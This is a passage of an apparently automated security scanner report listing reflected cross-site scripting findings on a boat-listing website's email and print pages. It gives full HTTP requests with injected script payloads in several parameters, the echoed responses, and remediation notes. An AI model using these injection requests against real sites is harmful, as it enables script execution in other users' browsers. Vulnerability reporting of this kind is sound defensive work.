VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:17 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <!--
function reloadForm() { window.location.href= "http://www.yachtworld.com/core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet&officeId=7532546671";alert(1)//12af253f94&boatUrl=/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States"; }
The value of the units request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83fde"%3balert(1)//e812cc441a was submitted in the units parameter. This input was echoed as 83fde";alert(1)//e812cc441a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet83fde"%3balert(1)//e812cc441a&officeId=75325&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:16 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <!--
function reloadForm() { window.location.href= "http://www.yachtworld.com/core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet83fde";alert(1)//e812cc441a&officeId=75325&boatUrl=/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States"; }
The value of the units request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b8eb"><script>alert(1)</script>864653982b7 was submitted in the units parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/rendering/email-boat.htm?url=legendary&boatId=2266476&units=Feet5b8eb"><script>alert(1)</script>864653982b7&officeId=75325&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:15 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the url request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 92ca8"%3balert(1)//ee9bc0c1db5 was submitted in the url parameter. This input was echoed as 92ca8";alert(1)//ee9bc0c1db5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/email-boat.htm?url=legendary92ca8"%3balert(1)//ee9bc0c1db5&boatId=2266476&units=Feet&officeId=75325&boatUrl=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:12 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <!--
function reloadForm() { window.location.href= "http://www.yachtworld.com/core/rendering/email-boat.htm?url=legendary92ca8";alert(1)//ee9bc0c1db5&boatId=2266476&units=Feet&officeId=75325&boatUrl=/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States"; }
The value of the boatId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 342f7'%3balert(1)//66732b4e7c was submitted in the boatId parameter. This input was echoed as 342f7';alert(1)//66732b4e7c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/print-boat.htm?url=legendary&boatId=2266476342f7'%3balert(1)//66732b4e7c&officeId=75325&isPLS=0 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:35:15 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "2266476342f7';alert(1)//66732b4e7c"<br> ...[SNIP]...
The value of the officeId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f3b9e'%3balert(1)//977a17ea687 was submitted in the officeId parameter. This input was echoed as f3b9e';alert(1)//977a17ea687 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/rendering/print-boat.htm?url=legendary&boatId=2266476&officeId=75325f3b9e'%3balert(1)//977a17ea687&isPLS=0 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 